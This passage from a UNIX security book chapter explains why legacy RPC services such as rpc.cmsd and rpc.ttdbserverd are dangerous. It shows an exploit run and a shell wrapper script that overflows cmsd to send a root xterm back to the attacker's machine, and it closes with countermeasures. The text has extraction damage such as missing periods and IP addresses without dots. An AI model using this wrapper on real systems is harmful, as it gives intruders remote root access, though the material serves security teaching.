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Remote Procedure Call (RPC) is a mechanism that allows a program running on one computer to seamlessly execute code on a remote system One of the first RPC implementations was developed by Sun Microsystems and used a system called external data representation (XDR) The implementation was designed to interoperate with Sun s Network Information System (NIS) and Network File System (NFS) Since Sun Microsystem s development of RPC services, many other UNIX vendors have adopted it Adoption of an RPC standard is a good thing from an interoperability standpoint However, when RPC services were first introduced, there was very little security built in Thus, Sun and other vendors have tried to patch the existing legacy framework to make it more secure, but it still suffers from a myriad of security-related problems As discussed in 3, RPC services register with the portmapper when started To contact an RPC service, you must query the portmapper to determine which port the required RPC service is listening on We also discussed how to obtain a listing of running RPC services by using rpcinfo or by using the n option if the portmapper services were firewalled Unfortunately, numerous stock versions of UNIX have many RPC services enabled upon bootup To exacerbate matters, many of the RPC services are extremely complex and run with root privileges Thus, a successful buffer overflow or input validation attack will lead to direct root access The current rage in remote RPC buffer overflow attacks relates to rpcttdbserverd (http://wwwcertorg/advisories/ CA-9811tooltalkhtml) and rpccmsd (http://wwwcertorg/advisories/ CA-99-08-cmsdhtml), which are part of the common desktop environment (CDE) Because these two services run with root privileges, attackers only need to successfully ex-
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ploit the buffer overflow condition and send back an xterm or a reverse telnet and the game is over Other dangerous RPC services include rpcstatd (http://wwwcertorg/ advisories/CA-99-05-statd-automountdhtml) and mountd, which are active when NFS is enabled (see the section NFS ) Even if the portmapper is blocked, the attacker may be able to manually scan for the RPC services (via the sR option of nmap), which typically run at a high-numbered port The aforementioned services are only a few examples of problematic RPC services Due to RPC s distributed nature and complexity, it is ripe for abuse, as shown next
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[rumble]# cmsdsh quake 192168111 2 1921681103 Executing exploit rtable_create worked clnt_call[rtable_insert]: RPC: Unable to receive; errno = Connection reset by peer
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A simple shell script that calls the cmsd exploit simplifies this attack and is shown next It is necessary to know the system name; in our example the system is named quake We provide the target IP address of quake, which is 192168111 We provide the system type (2), which equates to Solaris 26 This is critical, as the exploit is tailored to each operating system Finally, we provide the IP address of the attackers system (1921681103) and send back the xterm (see Figure 8-2)
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#!/bin/sh if [ $# -lt 4 ]; then echo "Rpccmsd buffer overflow for Solaris 25 & 26 7" echo "If rpcinfo -p target_ip |grep 100068 = true - you win!" echo "Don't forget to xhost+ the target system" echo "" echo "Usage: $0 target_hostname target_ip <O/S version (1-7)> your_ip" exit 1 fi echo "Executing exploit" cmsd -h $1 -c "/usr/openwin/bin/xterm -display $4:00 &" $3 $2
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Procedure U Remotedefense againstCall Services CountermeasureRPC service that is not abThe best remote RPC attacks is to disable any
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solutely necessary If an RPC service is critical to the operation of the server, consider implementing an access control device that only allows authorized systems to contact those RPC ports, which may be very difficult depending on your environment Consider enabling a non-executable stack if it is supported by your operating system Also, consider using Secure RPC if it is supported by your version of UNIX Secure RPC attempts to provide an additional level of authentication based upon public key cryptography Secure RPC is not a panacea, as many UNIX vendors have not adopted this
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